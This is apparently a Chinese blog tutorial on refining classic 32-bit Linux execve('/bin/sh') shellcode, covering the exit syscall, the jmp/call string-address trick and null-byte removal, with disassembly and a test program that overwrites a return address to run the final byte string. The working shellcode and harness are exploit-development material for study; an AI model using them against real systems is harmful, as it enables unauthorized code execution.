进一步完善shellcode的提取

转载请注明出处：http://blog.csdn.net/wangxiaolong_china

 

基本shellcode提取方法：http://blog.csdn.net/wangxiaolong_china/article/details/6844482

接下来，我们将在上文的基础上，进一步完善shellcode的提取。

 

前面关于main和execve的分析，同“基本shellcode提取方法”中相应部分的讲解。

如果execve()调用失败的话，程序将会继续从堆栈中获取指令并执行，而此时堆栈中的数据时随机的，通常这个程序会core dump。如果我们希望在execve()调用失败时，程序仍然能够正常退出，那么我们就必须在execve()调用之后增加一个exit系统调用。它的C语言程序如下：

root@linux:~/pentest# cat shellcode_exit.c
#include <stdio.h>
#include <stdlib.h>

int main(int argc, char **argv) {
    exit(0);
}
root@linux:~/pentest# gdb shellcode_exit
GNU gdb (Ubuntu/Linaro 7.2-1ubuntu11) 7.2
Copyright (C) 2010 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "i686-linux-gnu".
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>...
Reading symbols from /root/pentest/shellcode_exit...done.
(gdb) disass exit
Dump of assembler code for function exit@plt:
   0x080482f0 <+0>:    jmp    *0x804a008
   0x080482f6 <+6>:    push   {1}x10
   0x080482fb <+11>:    jmp    0x80482c0
End of assembler dump.
(gdb)

 

通过gdb反汇编可以看到现在的gcc编译器向我们隐藏了exit系统调用的实现细节。但是，通过翻阅以前版本gdb反汇编信息，仍然可以得到exit系统调用的实现细节。

[scz@ /home/scz/src]> gdb shellcode_exit
GNU gdb 4.17.0.11 with Linux support
This GDB was configured as "i386-redhat-linux"...
(gdb) disas _exit 
Dump of assembler code for function _exit:
0x804b970 <_exit>:      movl   %ebx,%edx
0x804b972 <_exit+2>:    movl   0x4(%esp,1),%ebx
0x804b976 <_exit+6>:    movl   {1}x1,%eax
0x804b97b <_exit+11>:   int    {1}x80
0x804b97d <_exit+13>:   movl   %edx,%ebx
0x804b97f <_exit+15>:   cmpl   {1}xfffff001,%eax
0x804b984 <_exit+20>:   jae    0x804bc60 <__syscall_error>
End of assembler dump.

 

我们可以看到，exit系统调用将0x1放入到eax中（它是syscall的索引值），同时将退出码放入到ebx中（大部分程序正常退出时的返回值是0），然后执行“int 0x80”系统调用。

其实，到目前为止，我们要构造shellcode，但是我们并不知道我们要放置的字符串在内存中的确切位置。在3.1节中，我们采用将字符串压栈的方式获得字符串起始地址。在这一节中，我们将给出一种确定字符串起始地址的设计方案。该方案采用的是jmp和call指令。由于jmp和call指令都可以采用eip相对寻址，也就是说，我们可以从当前运行的地址跳到一个偏移地址处执行，而不必知道这个地址的确切地址值。如果我们将call指令放在“/bin/bash”字符串前，然后jmp到call指令的位置，那么当call指令被执行时，它会首先将下一个要执行的指令的地址（也就是字符串的起始地址）压入堆栈。这样就可以获得字符串的起始地址。然后我们可以让call指令调用我们的shellcode的第一条指令，然后将返回地址（字符串起始地址）从堆栈中弹出到某个寄存器中。

我们要构造的shellcode的执行流程如下图所示：

Shellcode执行流程解析：

RET覆盖返回地址eip之后，子函数返回时将跳转到我们的shellcode的起始地址处执行。由于shellcode起始地址处是一条jmp指令，它直接跳到了我们的call指令处执行。call指令先将返回地址（“/bin/bash”字符串地址）压栈之后，跳转到jmp指令下一地址处指令继续执行。这样就可以获取到字符串的地址。

即：

Beginning_of_shellcode:
jmp subroutine_call
subroutine:
popl %esi
……
(shellcode itself)
……
subroutine_call:
call subroutine
/bin/sh

 

下面，我们用C语言内嵌汇编的方式，构造shellcode。

root@linux:~/pentest# cat shellcode_asm.c
#include <stdio.h>

int main(int argc, char **argv) {

    __asm__
    ("                \
         jmp subroutine_call;    \
    subroutine:            \
        popl %esi;        \
        movl %esi,0x8(%esi);    \
        movl {1}x0,0xc(%esi);    \
        movb {1}x0,0x7(%esi);    \
        movl {1}xb,%eax;       \
        movl %esi,%ebx;        \
        leal 0x8(%esi),%ecx;    \
        leal 0xc(%esi),%edx;    \
        int {1}x80;        \
        movl {1}x0,%ebx;        \
        movl {1}x1,%eax;        \
        int {1}x80;        \
    subroutine_call:        \
        call subroutine;    \
        .string \"/bin/sh\";    \
     ");

    return 0;
}

root@linux:~/pentest# objdump -d shellcode_asm

08048394 <main>:
 8048394:    55                       push   %ebp
 8048395:    89 e5                    mov    %esp,%ebp
 8048397:    eb 2a                    jmp    80483c3 <subroutine_call>

08048399 <subroutine>:
 8048399:    5e                           pop    %esi
 804839a:    89 76 08                   mov    %esi,0x8(%esi)
 804839d:    c7 46 0c 00 00 00 00     movl   {1}x0,0xc(%esi)
 80483a4:    c6 46 07 00               movb   {1}x0,0x7(%esi)
 80483a8:    b8 0b 00 00 00           mov    {1}xb,%eax
 80483ad:    89 f3                       mov    %esi,%ebx
 80483af:    8d 4e 08                   lea    0x8(%esi),%ecx
 80483b2:    8d 56 0c                   lea    0xc(%esi),%edx
 80483b5:    cd 80                       int    {1}x80
 80483b7:    bb 00 00 00 00           mov    {1}x0,%ebx
 80483bc:    b8 01 00 00 00           mov    {1}x1,%eax
 80483c1:    cd 80                       int    {1}x80

080483c3 <subroutine_call>:
 80483c3:    e8 d1 ff ff ff           call   8048399 <subroutine>
 80483c8:    2f                         das    
 80483c9:    62 69 6e                 bound  %ebp,0x6e(%ecx)
 80483cc:    2f                         das    
 80483cd:    73 68                jae    8048437 <__libc_csu_init+0x57>
 80483cf:    00 b8 00 00 00 00        add    %bh,0x0(%eax)
 80483d5:   5d                         pop    %ebp
 80483d6:    c3                       ret    
 80483d7:    90                       nop
 80483d8:    90                       nop
 80483d9:    90                       nop
 80483da:    90                       nop
 80483db:    90                       nop
 80483dc:    90                       nop
 80483dd:    90                       nop
 80483de:    90                       nop
 80483df:    90                       nop

 

替换掉shellcode中含有的Null字节的指令：

含有Null字节的指令	替代指令
movl $0x0,0xc(%esi) movb $0x0,0x7(%esi)	xorl %eax,%eax movl %eax,0xc(%esi) movb %al,0x7(%esi)
movl $0xb,%eax	xorl %eax,%eax movb $0xb,%al
movl $0x1,%eax movl $0x0,%ebx	xorl %ebx,%ebx iovl %ebx,%eax inc %eax

修改后的代码和反汇编结果如下：

root@linux:~/pentest# cat shellcode_asm.c
#include <stdio.h>

int main(int argc, char **argv) {

    __asm__
    ("                \
         jmp subroutine_call;    \
    subroutine:            \
        popl %esi;        \
        movl %esi,0x8(%esi);    \
        xorl %eax,%eax;        \
        movl %eax,0xc(%esi);    \
        movb %al,0x7(%esi);    \
       movb {1}xb,%al;        \
        movl %esi,%ebx;        \
        leal 0x8(%esi),%ecx;    \
        leal 0xc(%esi),%edx;    \
        int {1}x80;        \
        xorl %ebx,%ebx;        \
        movl %ebx,%eax;        \
        inc %eax;        \
        int {1}x80;        \
    subroutine_call:        \
        call subroutine;   \
        .string \"/bin/sh\";    \
     ");

    return 0;
}
root@linux:~/pentest# gcc -g -o shellcode_asm shellcode_asm.c
root@linux:~/pentest# objdump -d shellcode_asm
08048394 <main>:
 8048394:    55                       push   %ebp
 8048395:    89 e5                    mov    %esp,%ebp
 8048397:    eb 1f                    jmp    80483b8 <subroutine_call>

08048399 <subroutine>:
 8048399:    5e                       pop    %esi
 804839a:    89 76 08                 mov    %esi,0x8(%esi)
 804839d:    31 c0                    xor    %eax,%eax
 804839f:    89 46 0c                 mov    %eax,0xc(%esi)
 80483a2:    88 46 07                 mov    %al,0x7(%esi)
 80483a5:    b0 0b                    mov    {1}xb,%al
 80483a7:    89 f3                   mov    %esi,%ebx
 80483a9:    8d 4e 08                 lea    0x8(%esi),%ecx
 80483ac:    8d 56 0c                 lea    0xc(%esi),%edx
 80483af:    cd 80                    int    {1}x80
 80483b1:    31 db                    xor    %ebx,%ebx
 80483b3:    89 d8                    mov   %ebx,%eax
 80483b5:    40                       inc    %eax
 80483b6:    cd 80                    int    {1}x80

080483b8 <subroutine_call>:
 80483b8:    e8 dc ff ff ff           call   8048399 <subroutine>
 80483bd:    2f                       das    
 80483be:    62 69 6e                 bound  %ebp,0x6e(%ecx)
 80483c1:   2f                       das    
 80483c2:    73 68                    jae    804842c <__libc_csu_init+0x5c>
 80483c4:    00 b8 00 00 00 00        add    %bh,0x0(%eax)
 80483ca:    5d                       pop    %ebp
 80483cb:    c3                       ret    
 80483cc:   90                       nop
 80483cd:    90                       nop
 80483ce:    90                       nop
 80483cf:    90                       nop
root@linux:~/pentest# gdb shellcode_asm
(gdb) b main
Breakpoint 1 at 0x8048397: file shellcode_asm.c, line 5.
(gdb) r
Starting program: /root/pentest/shellcode_asm 

Breakpoint 1, main (argc=1, argv=0xbffff464) at shellcode_asm.c:5
5       __asm__
(gdb) disass main
Dump of assembler code for function main:
   0x08048394 <+0>:    push   %ebp
   0x08048395 <+1>:    mov    %esp,%ebp
=> 0x08048397 <+3>:    jmp    0x80483b8 <subroutine_call>
   0x08048399 <+5>:    pop    %esi
   0x0804839a <+6>:    mov    %esi,0x8(%esi)
   0x0804839d <+9>:    xor    %eax,%eax
   0x0804839f <+11>:    mov    %eax,0xc(%esi)
   0x080483a2 <+14>:    mov    %al,0x7(%esi)
   0x080483a5 <+17>:    mov    {1}xb,%al
   0x080483a7 <+19>:   mov    %esi,%ebx
   0x080483a9 <+21>:    lea    0x8(%esi),%ecx
   0x080483ac <+24>:    lea    0xc(%esi),%edx
   0x080483af <+27>:    int    {1}x80
   0x080483b1 <+29>:    xor    %ebx,%ebx
   0x080483b3 <+31>:    mov    %ebx,%eax
   0x080483b5 <+33>:    inc    %eax
   0x080483b6 <+34>:    int    {1}x80
   0x080483b8 <+0>:    call   0x8048399 <main+5>
   0x080483bd <+5>:    das    
   0x080483be <+6>:    bound  %ebp,0x6e(%ecx)
   0x080483c1 <+9>:    das    
   0x080483c2 <+10>:    jae    0x804842c
   0x080483c4 <+12>:    add    %bh,0x0(%eax)
   0x080483ca <+18>:    pop    %ebp
   0x080483cb <+19>:    ret    
End of assembler dump.
(gdb) x/s 0x080483bd
0x80483bd <subroutine_call+5>:     "/bin/sh"

 

分析可知，0x8048397到0x80483b8之间的部分，使我们嵌入汇编部分代码。而0x80483bd开始处存放着我们的字符串变量“/bin/sh”。

root@linux:~/pentest# ./shellcode_asm
Segmentation fault
root@linux:~/pentest#

 

为什么会出现段错误呢？原因是我们嵌入的汇编代码要修改自身所在的内存区域，然而由于main()函数所在的段属于代码段，具有只读属性，因此，要对只读的代码段执行写操作必然导致段错误。这里我们采用一个小技巧来绕过这个限制，我们将shellcode放在数据段，用一个全局变量数组来存储shellcode。

root@linux:~/pentest# cat test.c
#include <stdio.h>

    char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x89\x46\x0c\x88\x46"
    "\x07\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8"
    "\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh";
    int main(void) {
        int ret;
        *(&ret + 2) = (int)shellcode;
        return 0;
    }
root@linux:~/pentest# gcc -fno-stack-protector -z execstack -g -o test test.c
root@linux:~/pentest# ./test
# exit
root@linux:~/pentest#

 

可以看到，我们的shellcode成功的执行，并且得到命令行。